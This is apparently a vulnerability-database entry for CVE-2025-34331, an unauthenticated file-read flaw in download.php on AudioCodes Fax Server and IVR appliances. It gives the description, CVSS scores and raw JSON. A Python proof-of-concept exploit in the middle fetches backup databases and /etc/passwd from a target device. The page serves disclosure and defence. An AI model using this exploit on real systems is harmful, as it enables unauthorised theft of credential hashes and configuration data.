Security Vulnerability Report
中文
CVE-2025-34331 CVSS 7.5 HIGH

CVE-2025-34331

Published: 2025-11-19 17:15:48
Last Modified: 2025-12-12 16:05:32

Description

AudioCodes Fax Server and Auto-Attendant IVR appliances versions up to and including 2.6.23 contain an unauthenticated file read vulnerability via the download.php script. The endpoint exposes a file download mechanism that lacks access control, allowing remote, unauthenticated users to request files stored on the appliance based solely on attacker-supplied path and filename parameters. While limited to specific file extensions permitted by the application logic, sensitive backup archives can be retrieved, exposing internal databases and credential hashes. Successful exploitation may lead to disclosure of administrative password hashes and other sensitive configuration data.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:audiocodes:fax_server:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:audiocodes:interactive_voice_response:*:*:*:*:*:*:*:* - VULNERABLE
AudioCodes Fax Server <= 2.6.23
AudioCodes Auto-Attendant IVR <= 2.6.23

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-34331 PoC - AudioCodes Fax Server Unauthenticated File Read # Target: AudioCodes Fax Server / Auto-Attendant IVR def exploit(target_url, filename='backup.db'): """ Exploit for unauthenticated file read via download.php Args: target_url: Base URL of the vulnerable AudioCodes device filename: Target file to read (default: backup.db) Returns: File content if successful, None otherwise """ # Common paths where backup files are stored paths = [ '/download.php?path=/var/backups&filename=backup.db', '/download.php?path=/var/www/html/backup&filename=backup.db', '/download.php?path=/backup&filename=backup.tar.gz', '/download.php?path=/etc&filename=passwd' ] for path in paths: url = target_url.rstrip('/') + path print(f'[+] Trying: {url}') try: response = requests.get(url, timeout=10, verify=False) if response.status_code == 200 and len(response.content) > 0: print(f'[+] Success! File retrieved: {len(response.content)} bytes') print(f'[+] Content preview: {response.content[:500]}') return response.content elif response.status_code == 200 and len(response.content) == 0: print(f'[-] Empty response, trying next path') except requests.RequestException as e: print(f'[-] Request failed: {e}') print('[-] Exploitation failed - no valid file retrieved') return None if __name__ == '__main__': if len(sys.argv) < 2: print('Usage: python cve-2025-34331.py <target_url>') print('Example: python cve-2025-34331.py https://192.168.1.100') sys.exit(1) target = sys.argv[1] exploit(target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-34331", "sourceIdentifier": "[email protected]", "published": "2025-11-19T17:15:47.967", "lastModified": "2025-12-12T16:05:32.090", "vulnStatus": "Analyzed", "cveTags": [{"sourceIdentifier": "[email protected]", "tags": ["unsupported-when-assigned"]}], "descriptions": [{"lang": "en", "value": "AudioCodes Fax Server and Auto-Attendant IVR appliances versions up to and including 2.6.23 contain an unauthenticated file read vulnerability via the download.php script. The endpoint exposes a file download mechanism that lacks access control, allowing remote, unauthenticated users to request files stored on the appliance based solely on attacker-supplied path and filename parameters. While limited to specific file extensions permitted by the application logic, sensitive backup archives can be retrieved, exposing internal databases and credential hashes. Successful exploitation may lead to disclosure of administrative password hashes and other sensitive configuration data."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:L/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-306"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:audiocodes:fax_server:*:*:*:*:*:*:*:*", "versionEndIncluding": "2.6.23", "matchCriteriaId": "A325B684-937A-4AE9-A8B2-235ADB2D1932"}, {"vulnerable": true, "criteria": "cpe:2.3:a:audiocodes:interactive_voice_response:*:*:*:*:*:*:*:*", "versionEndIncluding": "2.6.23", "matchCriteriaId": "131420AA-FE49-42FC-A8EC-50C5EB40D3A3"}]}]}], "references": [{"url": "https://pierrekim.github.io/advisories/2025-audiocodes-fax-ivr.txt", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://pierrekim.github.io/blog/2025-11-20-audiocodes-fax-ivr-8-vulnerabilities.html", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://www.audiocodes.com/media/g1in2u2o/0548-product-notice-end-of-service-for-audiocodes-auto-attendant-ivr-solution.pdf", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.vulncheck.com/advisories/audiocodes-fax-ivr-appliance-unauthenticated-file-read-via-download", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}